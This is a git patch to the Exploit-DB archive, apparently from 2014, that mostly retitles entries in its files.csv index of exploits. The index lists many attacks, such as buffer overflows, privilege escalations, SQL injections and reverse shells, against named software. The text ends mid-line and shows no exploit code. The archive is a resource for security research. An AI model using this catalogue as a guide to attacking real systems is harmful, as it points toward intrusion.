From 545c6bdf18c60a9615c73ac396b3634eff64f657 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 6 Aug 2014 04:39:53 +0000 Subject: [PATCH] Updated 08_06_2014 --- files.csv | 68 ++++--- platforms/ios/webapps/34263.txt | 238 +++++++++++++++++++++++ platforms/ios/webapps/34264.txt | 296 ++++++++++++++++++++++++++++ platforms/linux/local/34267.sh | 55 ++++++ platforms/linux/shellcode/34262.c | 144 ++++++++++++++ platforms/php/webapps/34265.txt | 9 + platforms/php/webapps/34266.txt | 12 ++ platforms/php/webapps/34268.txt | 14 ++ platforms/php/webapps/34269.txt | 11 ++ platforms/windows/dos/5235.py | 186 +++++++++--------- platforms/windows/remote/4866.py | 236 +++++++++++------------ platforms/windows/remote/5248.py | 310 +++++++++++++++--------------- platforms/windows/remote/5751.pl | 286 +++++++++++++-------------- 13 files changed, 1326 insertions(+), 539 deletions(-) create mode 100755 platforms/ios/webapps/34263.txt create mode 100755 platforms/ios/webapps/34264.txt create mode 100755 platforms/linux/local/34267.sh create mode 100755 platforms/linux/shellcode/34262.c create mode 100755 platforms/php/webapps/34265.txt create mode 100755 platforms/php/webapps/34266.txt create mode 100755 platforms/php/webapps/34268.txt create mode 100755 platforms/php/webapps/34269.txt diff --git a/files.csv b/files.csv index cd67e2c58..0612d1c15 100755 --- a/files.csv +++ b/files.csv @@ -4506,7 +4506,7 @@ id,file,description,date,author,platform,type,port 4863,platforms/php/webapps/4863.pl,"SmallNuke 2.0.4 Pass Recovery Remote SQL Injection Exploit",2008-01-08,"Eugene Minaev",php,webapps,0 4864,platforms/php/webapps/4864.txt,"Zero CMS 1.0 - Alpha Arbitrary File Upload / SQL Injection Vulnerabilities",2008-01-08,KiNgOfThEwOrLd,php,webapps,0 4865,platforms/php/webapps/4865.txt,"evilboard 0.1a (sql/xss) Multiple Vulnerabilities",2008-01-08,seaofglass,php,webapps,0 -4866,platforms/windows/remote/4866.py,"Microsoft DirectX SAMI File Parsing Remote Stack Overflow Exploit",2008-01-08,ryujin,windows,remote,0 +4866,platforms/windows/remote/4866.py,"Microsoft DirectX SAMI File Parsing - Remote Stack Overflow Exploit",2008-01-08,ryujin,windows,remote,0 4867,platforms/php/webapps/4867.pl,"PHP Webquest 2.6 (id_actividad) Remote SQL Injection Exploit",2008-01-08,ka0x,php,webapps,0 4868,platforms/windows/remote/4868.html,"Move Networks Quantum Streaming Player - SEH Overwrite Exploit",2008-01-08,Elazar,windows,remote,0 4869,platforms/windows/remote/4869.html,"Gateway Weblaunch ActiveX Control Insecure Method Exploit",2008-01-08,Elazar,windows,remote,0 @@ -4870,7 +4870,7 @@ id,file,description,date,author,platform,type,port 5232,platforms/php/webapps/5232.txt,"Mapbender <= 2.4.4 (mapFiler.php) Remote Code Execution Vulnerability",2008-03-11,"RedTeam Pentesting",php,webapps,0 5233,platforms/php/webapps/5233.txt,"Mapbender 2.4.4 - (gaz) Remote SQL Injection Vulnerability",2008-03-11,"RedTeam Pentesting",php,webapps,0 5234,platforms/php/webapps/5234.txt,"Bloo <= 1.00 Multiple Remote SQL Injection Vulnerabilities",2008-03-11,MhZ91,php,webapps,0 -5235,platforms/windows/dos/5235.py,"MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow DoS",2008-03-11,ryujin,windows,dos,0 +5235,platforms/windows/dos/5235.py,"MailEnable SMTP Service - VRFY/EXPN Command Buffer Overflow DoS",2008-03-11,ryujin,windows,dos,0 5236,platforms/php/webapps/5236.txt,"phpBB Mod FileBase (id) Remote SQL Injection Vulnerability",2008-03-11,t0pP8uZz,php,webapps,0 5237,platforms/php/webapps/5237.txt,"Joomla Component ProductShowcase <= 1.5 - SQL Injection Vulnerability",2008-03-11,S@BUN,php,webapps,0 5238,platforms/windows/remote/5238.py,"Motorola Timbuktu Pro 8.6.5/8.7 Path Traversal / Log Injection Exploit",2008-03-11,"Core Security",windows,remote,0 @@ -4883,7 +4883,7 @@ id,file,description,date,author,platform,type,port 5245,platforms/php/webapps/5245.txt,"XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability",2008-03-12,S@BUN,php,webapps,0 5246,platforms/php/webapps/5246.txt,"easycalendar <= 4.0tr Multiple Vulnerabilities",2008-03-12,JosS,php,webapps,0 5247,platforms/php/webapps/5247.txt,"easygallery <= 5.0tr Multiple Vulnerabilities",2008-03-12,JosS,php,webapps,0 -5248,platforms/windows/remote/5248.py,"MDaemon IMAP server 9.6.4 (FETCH) Remote Buffer Overflow Exploit",2008-03-13,ryujin,windows,remote,143 +5248,platforms/windows/remote/5248.py,"MDaemon IMAP server 9.6.4 - (FETCH) Remote Buffer Overflow Exploit",2008-03-13,ryujin,windows,remote,143 5249,platforms/windows/remote/5249.pl,"MailEnable Pro/Ent <= 3.13 (Fetch) post-auth Remote BOF Exploit",2008-03-14,haluznik,windows,remote,0 5250,platforms/windows/local/5250.cpp,"VLC <= 0.8.6e Subtitle Parsing Local Buffer Overflow Exploit",2008-03-14,"Mai Xuan Cuong",windows,local,0 5252,platforms/php/webapps/5252.txt,"eXV2 Module MyAnnonces - (lid) Remote SQL Injection Vulnerability",2008-03-14,S@BUN,php,webapps,0 @@ -4893,7 +4893,7 @@ id,file,description,date,author,platform,type,port 5256,platforms/php/webapps/5256.pl,"AuraCMS <= 2.2.1 (online.php) Remote Blind SQL Injection Exploit",2008-03-14,NTOS-Team,php,webapps,0 5257,platforms/multiple/remote/5257.py,"Dovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit",2008-03-14,kingcope,multiple,remote,0 5258,platforms/solaris/dos/5258.c,"SunOS 5.10 Sun Cluster rpc.metad Denial of Service PoC",2008-03-14,kingcope,solaris,dos,0 -5259,platforms/windows/remote/5259.py,"NetWin Surgemail 3.8k4-4 IMAP post-auth Remote LIST Universal Exploit",2008-03-14,ryujin,windows,remote,143 +5259,platforms/windows/remote/5259.py,"NetWin Surgemail 3.8k4-4 - IMAP post-auth Remote LIST Universal Exploit",2008-03-14,ryujin,windows,remote,143 5260,platforms/php/webapps/5260.txt,"fuzzylime cms <= 3.01 (admindir) Remote File Inclusion Vulnerability",2008-03-14,irk4z,php,webapps,0 5261,platforms/windows/dos/5261.py,"Rosoft Media Player 4.1.8 RML Stack Based Buffer Overflow PoC",2008-03-15,"Wiktor Sierocinski",windows,dos,0 5262,platforms/php/webapps/5262.txt,"mutiple timesheets <= 5.0 - Multiple Vulnerabilities",2008-03-16,JosS,php,webapps,0 @@ -5371,7 +5371,7 @@ id,file,description,date,author,platform,type,port 5748,platforms/php/webapps/5748.txt,"Joomla Component JoomlaDate (user) SQL injection Vulnerability",2008-06-05,His0k4,php,webapps,0 5749,platforms/multiple/dos/5749.pl,"Asterisk (SIP channel driver / in pedantic mode) Remote Crash Exploit",2008-06-05,"Armando Oliveira",multiple,dos,0 5750,platforms/windows/remote/5750.html,"Black Ice Software Inc Barcode SDK (BIDIB.ocx) Multiple Vulns",2008-06-05,shinnai,windows,remote,0 -5751,platforms/windows/remote/5751.pl,"freeSSHd 1.2.1 (Post Auth) Remote SEH Overflow Exploit",2008-06-06,ryujin,windows,remote,22 +5751,platforms/windows/remote/5751.pl,"freeSSHd 1.2.1 - (Post Auth) Remote SEH Overflow Exploit",2008-06-06,ryujin,windows,remote,22 5752,platforms/php/webapps/5752.pl,"Joomla Component GameQ <= 4.0 - Remote SQL injection Vulnerability",2008-06-07,His0k4,php,webapps,0 5753,platforms/asp/webapps/5753.txt,"JiRo?s FAQ Manager (read.asp fID) 1.0 - SQL Injection Vulnerability",2008-06-08,Zigma,asp,webapps,0 5754,platforms/php/webapps/5754.txt,"phpinv 0.8.0 (lfi/xss) Multiple Vulnerabilities",2008-06-08,"CWH Underground",php,webapps,0 @@ -8425,7 +8425,7 @@ id,file,description,date,author,platform,type,port 8931,platforms/php/webapps/8931.txt,"TorrentVolve 1.4 (deleteTorrent) Delete Arbitrary File Vulnerability",2009-06-11,Br0ly,php,webapps,0 8932,platforms/php/webapps/8932.txt,"yogurt 0.3 (xss/SQL Injection) Multiple Vulnerabilities",2009-06-11,Br0ly,php,webapps,0 8933,platforms/php/webapps/8933.php,"Sniggabo CMS (article.php id) Remote SQL Injection Exploit",2009-06-11,Lidloses_Auge,php,webapps,0 -8934,platforms/windows/remote/8934.py,"Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win)",2009-06-12,ryujin,windows,remote,0 +8934,platforms/windows/remote/8934.py,"Apple iTunes 8.1.1.10 - (itms/itcp) Remote Buffer Overflow Exploit (win)",2009-06-12,ryujin,windows,remote,0 8935,platforms/php/webapps/8935.txt,"Zip Store Chat 4.0/5.0 (Auth Bypass) SQL Injection Vulnerability",2009-06-12,ByALBAYX,php,webapps,0 8936,platforms/php/webapps/8936.txt,"4images <= 1.7.7 Filter Bypass HTML Injection/XSS Vulnerability",2009-06-12,Qabandi,php,webapps,0 8937,platforms/php/webapps/8937.txt,"campus virtual-lms (xss/SQL Injection) Multiple Vulnerabilities",2009-06-12,Yasión,php,webapps,0 @@ -9425,7 +9425,7 @@ id,file,description,date,author,platform,type,port 10059,platforms/jsp/webapps/10059.txt,"McAfee Network Security Manager < 5.1.11.8.1 - Information Disclosure Vulnerability",2009-11-12,"Daniel King",jsp,webapps,0 10060,platforms/linux/local/10060.sh,"Geany .18 Local File Overwrite",2009-10-06,"Jeremy Brown",linux,local,0 10061,platforms/jsp/webapps/10061.txt,"McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross Site Scripting Vulnerabilities",2009-11-12,"Daniel King",jsp,webapps,0 -10062,platforms/windows/dos/10062.py,"Novell eDirectory 883ftf3 nldap module Denial of Service",2009-11-16,ryujin,windows,dos,389 +10062,platforms/windows/dos/10062.py,"Novell eDirectory 883ftf3 - nldap module Denial of Service",2009-11-16,ryujin,windows,dos,389 10064,platforms/php/webapps/10064.txt,"Joomla CB Resume Builder - SQL Injection",2009-10-05,kaMtiEz,php,webapps,0 10067,platforms/php/webapps/10067.txt,"Joomla Soundset 1.0 - SQL Injection",2009-10-05,kaMtiEz,php,webapps,0 10068,platforms/windows/dos/10068.rb,"Microsoft Windows 2000-2008 - Embedded OpenType Font Engine Remote Code Execution",2009-11-12,"H D Moore",windows,dos,0 @@ -9457,7 +9457,7 @@ id,file,description,date,author,platform,type,port 10095,platforms/multiple/remote/10095.txt,"Samba 3.0.10 - 3.3.5 Format String And Security Bypass Vulnerabilities",2009-11-13,"Jeremy Allison",multiple,remote,0 10096,platforms/php/webapps/10096.txt,"OS Commerce 2.2r2 authentication bypass",2009-11-13,"Stuart Udall",php,webapps,0 10097,platforms/php/remote/10097.php,"PHP 5.2.11/5.3.0 - Multiple Vulnerabilities",2009-11-13,"Maksymilian Arciemowicz",php,remote,0 -10098,platforms/windows/remote/10098.py,"Novell eDirectory 8.8 SP5 iConsole Buffer Overflow",2009-11-16,ryujin,windows,remote,0 +10098,platforms/windows/remote/10098.py,"Novell eDirectory 8.8 SP5 - iConsole Buffer Overflow",2009-11-16,ryujin,windows,remote,0 10099,platforms/windows/remote/10099.py,"HP Power Manager Administration - Universal Buffer Overflow Exploit",2009-11-16,ryujin,windows,remote,80 10100,platforms/windows/dos/10100.py,"FTPDMIN 0.96 (LIST) Remote Denial of Service Exploit",2007-03-20,shinnai,windows,dos,21 10101,platforms/php/webapps/10101.txt,"telepark wiki 2.4.23 - Multiple Vulnerabilities",2009-11-16,Abysssec,php,webapps,0 @@ -9544,7 +9544,7 @@ id,file,description,date,author,platform,type,port 10252,platforms/php/webapps/10252.txt,"Joomla Component Quick News SQL Injection Vulnerability",2009-11-30,"Don Tukulesto",php,webapps,0 10253,platforms/asp/webapps/10253.txt,"Eshopbuilde CMS SQL Injection Vulnerability",2009-11-30,Isfahan,asp,webapps,0 10254,platforms/asp/webapps/10254.txt,"Xxasp 3.3.2 - SQL Injection",2009-11-30,Secu_lab_ir,asp,webapps,0 -10255,platforms/bsd/local/10255.txt,"FreeBSD Run-Time Link-Editor Local r00t Zeroday",2009-11-30,kingcope,bsd,local,0 +10255,platforms/bsd/local/10255.txt,"FreeBSD Run-Time Link-Editor Local r00t (0day)",2009-11-30,kingcope,bsd,local,0 10256,platforms/php/webapps/10256.txt,"WP-Polls 2.x Incorrect Flood Filter",2009-11-30,Jbyte,php,webapps,0 10257,platforms/windows/dos/10257.py,"XM Easy Professional FTP Server 5.8.0 - Denial of Service",2009-11-30,"Mert SARICA",windows,dos,21 10258,platforms/windows/remote/10258.pl,"Golden FTP Server 4.30 File Deletion Vulnerability",2009-12-01,sharpe,windows,remote,21 @@ -11114,7 +11114,7 @@ id,file,description,date,author,platform,type,port 12186,platforms/php/webapps/12186.pl,"vBulletin DoS - all version",2010-04-12,"Jim Salim",php,webapps,0 12187,platforms/php/webapps/12187.txt,"Vieassociative Openmairie 1.01 beta (RFI/LFI) Multiple File Include Vulnerability",2010-04-12,"cr4wl3r ",php,webapps,0 12188,platforms/multiple/dos/12188.txt,"VMware Remote Console e.x.p build-158248 - format string vulnerability",2010-04-12,"Alexey Sintsov",multiple,dos,0 -12189,platforms/windows/local/12189.php,"PHP 6.0 Dev str_transliterate() Buffer overflow - NX + ASLR Bypass",2010-04-13,ryujin,windows,local,0 +12189,platforms/windows/local/12189.php,"PHP 6.0 Dev - str_transliterate() Buffer Overflow (NX + ASLR Bypass)",2010-04-13,ryujin,windows,local,0 12190,platforms/php/webapps/12190.txt,"Joomla Component Jvehicles (aid) SQL Injection Vulnerability",2010-04-13,"Don Tukulesto",php,webapps,0 12191,platforms/php/webapps/12191.txt,"joomla component com_jp_jobs 1.2.0 - (id) SQL Injection Vulnerability",2010-04-13,v3n0m,php,webapps,0 12192,platforms/php/webapps/12192.txt,"blog system <= 1.5 - Multiple Vulnerabilities",2010-04-13,"cp77fk4r ",php,webapps,0 @@ -11297,7 +11297,7 @@ id,file,description,date,author,platform,type,port 12402,platforms/php/webapps/12402.txt,"Kasseler CMS 2.0.5 - Bypass / Download Backup Vulnerability",2010-04-26,indoushka,php,webapps,0 12403,platforms/windows/local/12403.py,"IDEAL Administration 2010 10.2 - Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0 12404,platforms/windows/local/12404.py,"IDEAL Migration 2009 4.5.1 - Local Buffer Overflow Exploit",2010-04-26,Dr_IDE,windows,local,0 -12406,platforms/windows/local/12406.py,"Avast! 4.7 aavmker4.sys privilege escalation",2010-04-27,ryujin,windows,local,0 +12406,platforms/windows/local/12406.py,"Avast! 4.7 - aavmker4.sys Privilege Escalation",2010-04-27,ryujin,windows,local,0 12407,platforms/php/webapps/12407.txt,"CMScout 2.08 SQL Injection Vulnerability",2010-04-26,"Dr.0rYX AND Cr3W-DZ",php,webapps,0 12408,platforms/windows/dos/12408.pl,"Safari 4.0.5 (531.22.7) Denial of Service",2010-04-26,"Xss mAn",windows,dos,0 12410,platforms/php/webapps/12410.txt,"PostNuke 0.764 Module modload SQL Injection Vulnerability",2010-04-26,BILGE_KAGAN,php,webapps,0 @@ -13361,7 +13361,7 @@ id,file,description,date,author,platform,type,port 15418,platforms/windows/dos/15418.html,"Internet Explorer Memory Corruption 0day Vulnerability",2010-11-04,Unknown,windows,dos,0 15419,platforms/windows/dos/15419.txt,"Acrobat Reader 9.4 - Memory Corruption Vulnerability",2010-11-04,scup,windows,dos,0 15420,platforms/windows/dos/15420.c,"Avast! Internet Security aswtdi.sys 0day Local DoS PoC",2010-11-04,"Nikita Tarakanov",windows,dos,0 -15421,platforms/windows/remote/15421.html,"Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit",2010-11-04,ryujin,windows,remote,0 +15421,platforms/windows/remote/15421.html,"Internet Explorer 6, 7, 8 - Memory Corruption Exploit (0day)",2010-11-04,ryujin,windows,remote,0 15422,platforms/windows/dos/15422.pl,"Sami HTTP Server 2.0.1 GET Request Denial of Service Exploit",2010-11-05,wingthor,windows,dos,0 15423,platforms/android/remote/15423.html,"Android 2.0-2.1 - Reverse Shell Exploit",2010-11-05,"MJ Keith",android,remote,0 15426,platforms/windows/dos/15426.txt,"Adobe Flash ActionIf Integer Denial of Service Vulnerability",2010-11-05,"Matthew Bergin",windows,dos,0 @@ -15573,7 +15573,7 @@ id,file,description,date,author,platform,type,port 17970,platforms/php/webapps/17970.txt,"WP-SpamFree WordPress Spam Plugin SQL Injection Vulnerability",2011-10-11,cheki,php,webapps,0 17972,platforms/php/webapps/17972.txt,"MyBB MyStatus 3.1 - SQL Injection Vulnerability",2011-10-12,Mario_Vs,php,webapps,0 17973,platforms/php/webapps/17973.txt,"WordPress GD Star Rating plugin <= 1.9.10 SQL Injection",2011-10-12,"Miroslav Stampar",php,webapps,0 -17974,platforms/windows/remote/17974.html,"Mozilla Firefox Array.reduceRight() Integer Overflow Exploit",2011-10-12,ryujin,windows,remote,0 +17974,platforms/windows/remote/17974.html,"Mozilla Firefox - Array.reduceRight() Integer Overflow Exploit",2011-10-12,ryujin,windows,remote,0 17975,platforms/windows/remote/17975.rb,"PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",2011-10-12,metasploit,windows,remote,0 17976,platforms/windows/remote/17976.rb,"Mozilla Firefox Array.reduceRight() Integer Overflow",2011-10-13,metasploit,windows,remote,0 17977,platforms/windows/remote/17977.txt,"JBoss AS 2.0 - Remote Exploit",2011-10-11,kingcope,windows,remote,0 @@ -20276,14 +20276,14 @@ id,file,description,date,author,platform,type,port 23072,platforms/php/webapps/23072.txt,"Ezboard 'invitefriends.php3' Cross Site Scripting Vulnerability",2003-09-01,"David F. Madrid",php,webapps,0 23073,platforms/windows/remote/23073.txt,"MySQL 5.1/5.5 WiNDOWS REMOTE R00T (mysqljackpot)",2012-12-02,kingcope,windows,remote,0 23074,platforms/windows/remote/23074.txt,"IBM System Director Remote System Level Exploit",2012-12-02,kingcope,windows,remote,0 -23075,platforms/linux/dos/23075.pl,"MySQL (Linux) Stack Based Buffer Overrun PoC Zeroday",2012-12-02,kingcope,linux,dos,0 -23076,platforms/linux/dos/23076.pl,"MySQL (Linux) Heap Based Overrun PoC Zeroday",2012-12-02,kingcope,linux,dos,0 -23077,platforms/linux/local/23077.pl,"MySQL (Linux) Database Privilege Elevation Zeroday Exploit",2012-12-02,kingcope,linux,local,0 -23078,platforms/linux/dos/23078.txt,"MySQL Denial of Service Zeroday PoC",2012-12-02,kingcope,linux,dos,0 -23079,platforms/windows/remote/23079.txt,"FreeFTPD Remote Authentication Bypass Zeroday Exploit",2012-12-02,kingcope,windows,remote,0 -23080,platforms/windows/remote/23080.txt,"FreeSSHD Remote Authentication Bypass Zeroday Exploit",2012-12-02,kingcope,windows,remote,0 -23081,platforms/multiple/remote/23081.pl,"MySQL Remote Preauth User Enumeration Zeroday",2012-12-02,kingcope,multiple,remote,0 -23082,platforms/linux/remote/23082.txt,"SSH.com Communications SSH Tectia Authentication Bypass Remote Zeroday Exploit",2012-12-02,kingcope,linux,remote,0 +23075,platforms/linux/dos/23075.pl,"MySQL (Linux) - Stack Based Buffer Overrun PoC (0day)",2012-12-02,kingcope,linux,dos,0 +23076,platforms/linux/dos/23076.pl,"MySQL (Linux) - Heap Based Overrun PoC (0day)",2012-12-02,kingcope,linux,dos,0 +23077,platforms/linux/local/23077.pl,"MySQL (Linux) - Database Privilege Elevation Exploit (0day)",2012-12-02,kingcope,linux,local,0 +23078,platforms/linux/dos/23078.txt,"MySQL - Denial of Service PoC (0day)",2012-12-02,kingcope,linux,dos,0 +23079,platforms/windows/remote/23079.txt,"FreeFTPD - Remote Authentication Bypass Exploit (0day)",2012-12-02,kingcope,windows,remote,0 +23080,platforms/windows/remote/23080.txt,"FreeSSHD - Remote Authentication Bypass Exploit (0day)",2012-12-02,kingcope,windows,remote,0 +23081,platforms/multiple/remote/23081.pl,"MySQL - Remote Preauth User Enumeration (0day)",2012-12-02,kingcope,multiple,remote,0 +23082,platforms/linux/remote/23082.txt,"SSH.com Communications SSH Tectia Authentication Bypass Remote Exploit (0day)",2012-12-02,kingcope,linux,remote,0 23083,platforms/windows/remote/23083.txt,"MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day",2012-12-02,kingcope,windows,remote,0 23084,platforms/php/webapps/23084.txt,"TSguestbook 2.1 Message Field HTML Injection Vulnerability",2003-09-01,Trash-80,php,webapps,0 23085,platforms/cgi/webapps/23085.html,"Sitebuilder 1.4 'sitebuilder.cgi' Directory Traversal File Disclosure Vulnerability",2003-09-01,"Zero X",cgi,webapps,0 @@ -21608,7 +21608,7 @@ id,file,description,date,author,platform,type,port 24455,platforms/unix/remote/24455.rb,"Portable UPnP SDK unique_service_name() Remote Code Execution",2013-02-05,metasploit,unix,remote,0 24456,platforms/php/webapps/24456.txt,"glossword 1.8.12 - Multiple Vulnerabilities",2013-02-05,AkaStep,php,webapps,0 24457,platforms/php/webapps/24457.txt,"Glossword 1.8.3 - SQL Injection Vulnerability",2013-02-05,AkaStep,php,webapps,0 -24458,platforms/linux/local/24458.txt,"Oracle Automated Service Manager 1.3 Installation Local Privilege Escalation",2013-02-05,"Larry W. Cashdollar",linux,local,0 +24458,platforms/linux/local/24458.txt,"Oracle Automated Service Manager 1.3 - Installation Local Privilege Escalation",2013-02-05,"Larry W. Cashdollar",linux,local,0 24459,platforms/linux/dos/24459.sh,"Linux Kernel /dev/ptmx Key Stroke Timing Local Disclosure",2013-02-05,vladz,linux,dos,0 24460,platforms/windows/remote/24460.rb,"VMWare OVF Tools Format String Vulnerability",2013-02-06,metasploit,windows,remote,0 24461,platforms/windows/remote/24461.rb,"VMWare OVF Tools Format String Vulnerability",2013-02-12,metasploit,windows,remote,0 @@ -21686,7 +21686,7 @@ id,file,description,date,author,platform,type,port 24550,platforms/hardware/webapps/24550.txt,"WiFilet 1.2 iPad iPhone - Multiple Vulnerabilities",2013-02-26,Vulnerability-Lab,hardware,webapps,0 24551,platforms/php/webapps/24551.txt,"Joomla! <= 3.0.2 (highlight.php) PHP Object Injection Vulnerability",2013-02-27,EgiX,php,webapps,0 24552,platforms/php/webapps/24552.txt,"Wordpress Comment Rating Plugin 2.9.32 - Multiple Vulnerabilities",2013-02-27,ebanyu,php,webapps,0 -24555,platforms/linux/local/24555.c,"Archlinux x86-64 3.3.x-3.7.x x86-64 sock_diag_handlers[] Local Root",2013-02-27,sd,linux,local,0 +24555,platforms/linux/local/24555.c,"Archlinux x86-64 3.3.x-3.7.x x86-64 - sock_diag_handlers[] Local Root",2013-02-27,sd,linux,local,0 24556,platforms/windows/dos/24556.py,"Hanso Player 2.1.0 (.m3u) - Buffer Overflow Vulnerability",2013-03-01,metacom,windows,dos,0 24557,platforms/windows/remote/24557.py,"Sami FTP Server 2.0.1 LIST Command Buffer Overflow",2013-03-01,superkojiman,windows,remote,0 24560,platforms/php/webapps/24560.txt,"doorGets CMS - CSRF Vulnerability",2013-03-01,n0pe,php,webapps,0 @@ -22039,7 +22039,7 @@ id,file,description,date,author,platform,type,port 24926,platforms/hardware/webapps/24926.txt,"Multiple D-Link Devices - Multiple Vulnerabilities",2013-04-08,m-1-k-3,hardware,webapps,0 24927,platforms/php/webapps/24927.txt,"Vanilla Forums 2-0-18-4 - SQL-Injection Vulnerability",2013-04-08,bl4ckw0rm,php,webapps,0 24928,platforms/hardware/webapps/24928.txt,"TP-Link TD-8817 6.0.1 Build 111128 Rel.26763 - CSRF Vulnerability",2013-04-08,Un0wn_X,hardware,webapps,0 -24929,platforms/linux/local/24929.rb,"HP System Management Homepage Local Privilege Escalation",2013-04-08,metasploit,linux,local,0 +24929,platforms/linux/local/24929.rb,"HP System Management Homepage - Local Privilege Escalation",2013-04-08,metasploit,linux,local,0 24930,platforms/windows/dos/24930.txt,"Groovy Media Player 3.2.0 (.mp3) - Buffer Overflow Vulnerability",2013-04-08,"Akshaysinh Vaghela",windows,dos,0 24931,platforms/hardware/remote/24931.rb,"Netgear DGN1000B setup.cgi Remote Command Execution",2013-04-08,metasploit,hardware,remote,0 24932,platforms/linux/webapps/24932.txt,"Sophos Web Protection Appliance 3.7.8.1 - Multiple Vulnerabilities",2013-04-08,"SEC Consult",linux,webapps,0 @@ -23071,7 +23071,7 @@ id,file,description,date,author,platform,type,port 25983,platforms/cfm/webapps/25983.txt,"Simple Message Board 2.0 beta1 User.CFM Cross-Site Scripting Vulnerability",2005-07-14,rUnViRuS,cfm,webapps,0 25984,platforms/cfm/webapps/25984.txt,"Simple Message Board 2.0 beta1 Thread.CFM Cross-Site Scripting Vulnerability",2005-07-14,rUnViRuS,cfm,webapps,0 25985,platforms/cfm/webapps/25985.txt,"Simple Message Board 2.0 beta1 Search.CFM Cross-Site Scripting Vulnerability",2005-07-14,rUnViRuS,cfm,webapps,0 -25986,platforms/php/remote/25986.txt,"Plesk < 9.5.4 - Zeroday Remote Exploit",2013-06-05,kingcope,php,remote,0 +25986,platforms/php/remote/25986.txt,"Plesk < 9.5.4 - Remote Exploit (0day)",2013-06-05,kingcope,php,remote,0 25987,platforms/hardware/remote/25987.txt,"Xpient Cash Drawer Operation Vulnerability",2013-06-05,"Core Security",hardware,remote,0 25988,platforms/multiple/remote/25988.txt,"Oracle9i Application Server 9.0.2 MOD_ORADAV Access Control Vulnerability",2003-02-13,"David Litchfield",multiple,remote,0 25989,platforms/windows/remote/25989.txt,"Nullsoft Winamp 5.0 - Malformed ID3v2 Tag Buffer Overflow Vulnerability",2005-07-15,"Leon Juranic",windows,remote,0 @@ -23522,7 +23522,7 @@ id,file,description,date,author,platform,type,port 26448,platforms/windows/local/26448.py,"AudioCoder 0.8.22 (.lst) - Direct Retn Buffer Overflow",2013-06-26,Onying,windows,local,0 26449,platforms/php/webapps/26449.txt,"e107 Advanced Medal System Plugin - SQL Injection Vulnerability",2013-06-26,"Life Wasted",php,webapps,0 26450,platforms/windows/dos/26450.pl,"Baby FTP Server 1.24 - Denial of Service",2013-06-26,Chako,windows,dos,21 -26451,platforms/linux/local/26451.rb,"ZPanel zsudo Local Privilege Escalation Exploit",2013-06-26,metasploit,linux,local,0 +26451,platforms/linux/local/26451.rb,"ZPanel zsudo - Local Privilege Escalation Exploit",2013-06-26,metasploit,linux,local,0 26452,platforms/win32/local/26452.rb,"Novell Client 2 SP3 nicm.sys Local Privilege Escalation",2013-06-26,metasploit,win32,local,0 26453,platforms/php/webapps/26453.py,"PHP Charts 1.0 (index.php, type param) - Remote Code Execution",2013-06-26,infodox,php,webapps,0 26454,platforms/freebsd/local/26454.rb,"FreeBSD 9 Address Space Manipulation Privilege Escalation",2013-06-26,metasploit,freebsd,local,0 @@ -24964,7 +24964,7 @@ id,file,description,date,author,platform,type,port 27932,platforms/asp/webapps/27932.txt,"Hogstorps Guestbook 2.0 Unauthorized Access Vulnerability",2006-05-01,omnipresent,asp,webapps,0 27933,platforms/php/webapps/27933.txt,"Tekno.Portal Bolum.PHP SQL Injection Vulnerability",2006-06-01,SpC-x,php,webapps,0 27934,platforms/php/webapps/27934.txt,"Abarcar Realty Portal 5.1.5 Content.PHP SQL Injection Vulnerability",2006-06-01,SpC-x,php,webapps,0 -27938,platforms/linux/local/27938.rb,"VMWare Setuid vmware-mount Unsafe popen(3)",2013-08-29,metasploit,linux,local,0 +27938,platforms/linux/local/27938.rb,"VMWare - Setuid vmware-mount Unsafe popen(3)",2013-08-29,metasploit,linux,local,0 27939,platforms/windows/remote/27939.rb,"HP LoadRunner lrFileIOService ActiveX Remote Code Execution",2013-08-29,metasploit,windows,remote,0 27940,platforms/windows/remote/27940.rb,"Firefox XMLSerializer Use After Free",2013-08-29,metasploit,windows,remote,0 27941,platforms/php/remote/27941.rb,"SPIP connect Parameter PHP Injection",2013-08-29,metasploit,php,remote,0 @@ -25344,7 +25344,7 @@ id,file,description,date,author,platform,type,port 28329,platforms/php/webapps/28329.txt,"OpenEMR 4.1.1 Patch 14 - Multiple Vulnerabilities",2013-09-17,xistence,php,webapps,0 28330,platforms/php/webapps/28330.txt,"Western Digital Arkeia Appliance 10.0.10 - Multiple Vulnerabilities",2013-09-17,xistence,php,webapps,0 28331,platforms/windows/remote/28331.txt,"Oracle Java ShortComponentRaster.verify() Memory Corruption",2013-09-17,"Packet Storm",windows,remote,0 -28332,platforms/linux/local/28332.rb,"Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation",2013-09-17,metasploit,linux,local,0 +28332,platforms/linux/local/28332.rb,"Sophos Web Protection Appliance - clear_keys.pl Local Privilege Escalation",2013-09-17,metasploit,linux,local,0 28333,platforms/unix/remote/28333.rb,"D-Link Devices UPnP SOAP Telnetd Command Execution",2013-09-17,metasploit,unix,remote,49152 28334,platforms/linux/remote/28334.rb,"Sophos Web Protection Appliance sblistpack Arbitrary Command Execution",2013-09-17,metasploit,linux,remote,443 28335,platforms/windows/local/28335.rb,"Agnitum Outpost Internet Security Local Privilege Escalation",2013-09-17,metasploit,windows,local,0 @@ -29437,7 +29437,7 @@ id,file,description,date,author,platform,type,port 32697,platforms/linux/dos/32697.pl,"aMSN '.ctt' File Remote Denial of Service Vulnerability",2009-01-03,Hakxer,linux,dos,0 32698,platforms/php/webapps/32698.txt,"SolucionXpressPro 'main.php' SQL Injection Vulnerability",2009-01-05,Ehsan_Hp200,php,webapps,0 32699,platforms/windows/remote/32699.txt,"Google Chrome 1.0.154.36 - FTP Client PASV Port Scan Information Disclosure Vulnerability",2009-01-05,"Aditya K Sood",windows,remote,0 -32700,platforms/linux/local/32700.rb,"ibstat $PATH Privilege Escalation",2014-04-04,metasploit,linux,local,0 +32700,platforms/linux/local/32700.rb,"ibstat $PATH - Privilege Escalation",2014-04-04,metasploit,linux,local,0 32701,platforms/php/webapps/32701.txt,"Wordpress XCloner Plugin 3.1.0 - CSRF 